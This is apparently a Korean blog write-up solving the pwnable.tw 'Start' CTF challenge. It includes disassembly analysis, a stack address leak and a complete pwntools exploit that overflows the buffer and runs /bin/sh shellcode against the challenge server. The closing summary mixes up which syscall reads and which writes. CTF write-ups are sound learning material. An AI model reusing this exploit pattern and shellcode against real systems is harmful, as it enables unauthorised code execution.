Pwnable.tw Start 풀이.
일단 Just a start 이렇게 쓴 거밖에 없다...
이걸로는 링크를 다운 받아서 실행한다는 것 말고는 유추할 수 있는 게 없다.
실행해보니 Let's start the CTF:라고 뜬다.
AAAA를 임의로 치니까 아래와 같이 떴다...
뭐지..........일단 정보들을 확인해본다.
32bit 리눅스 파일이고, stripped는 걸려 있지 않다.
checksec를 통해 보면 보호 기법 아무것도 존재하지 않고 있다.
스트립이 되어있지 않기 때문에 Objdump를 통해 일단 어셈블리를 살펴본다.
일단 _start와 _exit로 구성되어 있고, int 0x80 <= 시스템 콜 호출.
즉 system_call을 통해 프로그램이 동작하고 있다.
_start 함수에 0x804808f 부분의 호출은 0x4번으로 sys_write,
_start 함수에 0x8048097 부분의 호출은 0x3번으로 sys_read.
즉 sys_write를 호출하기 전에 push를 많이 해주는 것으로 보아 저 부분에서 문자열을
push해준 후 0x3c만큼 입력을 받는 프로그램이란 것을 알 수 있다.
PUSH 해줬던 부분이 Let's start the CTF: <= 이 부분일 것이라는 것을 이 전 과정에서 알 수 있었다.
그 후 과정은 정보가 부족하기에 임의로 AAAA를 입력했더니 여전히 그냥 종료된다.
좀 더 정보를 알아내기 위해 Gdb를 실행한다.
push 0x804809d는 _start 함수가 종료되고, _exit 함수로 return되는 주소이며,
_start+14부터 push 명령어를 통해 5개의 스택 메모리에 저장하는 데이터는
Let's start the CTF:라는 문자열.
즉 _start+57, RET 되기 직전에 breakpoint를 설정하고 프로그램을 실행시켜봤다.
입력한 AAAA가 Let'라는 문자열을 덮고 스택에 저장되었다.
즉 문자열을 조금 더 넣어서 _exit 함수로 return 될 주소까지 덮어씌울 수 있다면,
프로그램의 흐름을 제어할 수 있다.
'A'를 20개 입력해서 문자열을 모두 덮었고, 'B'를 4개 입력하여 주소를 조작했다.
위에서 봤듯이 보호 기법은 아무것도 걸려있지 않기에, 스택에 A*20개를 쌓아서 buffer를 채우고,
buffer의 return address를 삽입하고, shellcode를 삽입하게 되면, return할 때 제 자리로 return을
하면서 buffer의 return address를 pop하게 되고, 바로 아래에 있던 shellcode가 실행될 것이다.
buffer는 0xffffd704에서 시작되므로 return address는 0xffffd718.
Shellcode도 잘 삽입 되었고, A 20개도 잘 삽입되었고, return address도 0xffffd718로 잘 삽입된 거
같은데 실패했다.
즉 buffer의 주소가 달랐다. 보호 기법 중에 ASLR이 적용된 거 같다.
buffer의 주소를 leak해서 알아내야 될 거 같다.
즉 Let's start the CTF: 라는 문자열을 호출하는 함수가 0x8048087부터 시작된다.
return을 이 곳으로 하여 buffer의 주소가 출력하도록 하고, return 주소는 출력된 주소에 0x14만큼
더해주면 된다.
Cf)페이로드를 생각해보자.
payload="A"*20
payload+=p32(stack_addr+0x14)
payload+=shellcode
이런 식이다.
cf) 이런 식이면 쉘이 제대로 실행되지 않는다.
잘 모르겠지만, 레지스터를 정렬해야 될 거 같다.
(23byte 쉘 코드에서는 execve 함수를 사용하는데, execve 함수는 ecx,edx가 Null 되어야 한다).
즉 페이로드에 레지스터를 정렬하는 구문이 추가되어야 된다.
payload="A"*20
payload+=p32(stack_addr+0x14)
payload+=asm("xor eax,eax")
payload+=asm("xor ebx,ebx")
payload+=asm("xor edx,edx")
payload+=shellcode
이런 식으로 해야 된다.
from pwn import * #context.log_level = "debug" r = remote('chall.pwnable.tw', 10000) #r = process('./start') e = ELF('./start') print e #================== LEAK ESP ADDRESS ==================== r.recvuntil("Let's start the CTF:") gadget = 0x8048087 # mov %esp, %ecx payload = "A"*20 payload += p32(gadget) r.send(payload) stack_addr = u32(r.recv(4)) print "[*] stack_addr : " + hex(stack_addr) #======================= exploit ========================== shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # http://shell-storm.org/shellcode/files/shellcode-827.php payload = "A"*20 payload += p32(stack_addr + 0x14) payload += asm("xor eax, eax") payload += asm("xor ebx, ebx") payload += asm("xor ecx, ecx") payload += asm("xor edx, edx") payload += shellcode r.sendline(payload) r.recv() r.interactive()
이 문제의 핵심은
1.write로 인자를 입력받고,
2.read로 인자를 출려갛고,
3.exit로 마무리한다.
4.exit로 가는 eip를 바꾸면 익스가 가능하다.
'# Related site issues > PW.TW' 카테고리의 다른 글
Webhacking.kr Challenge 36. (0) | 2018.05.04 |
---|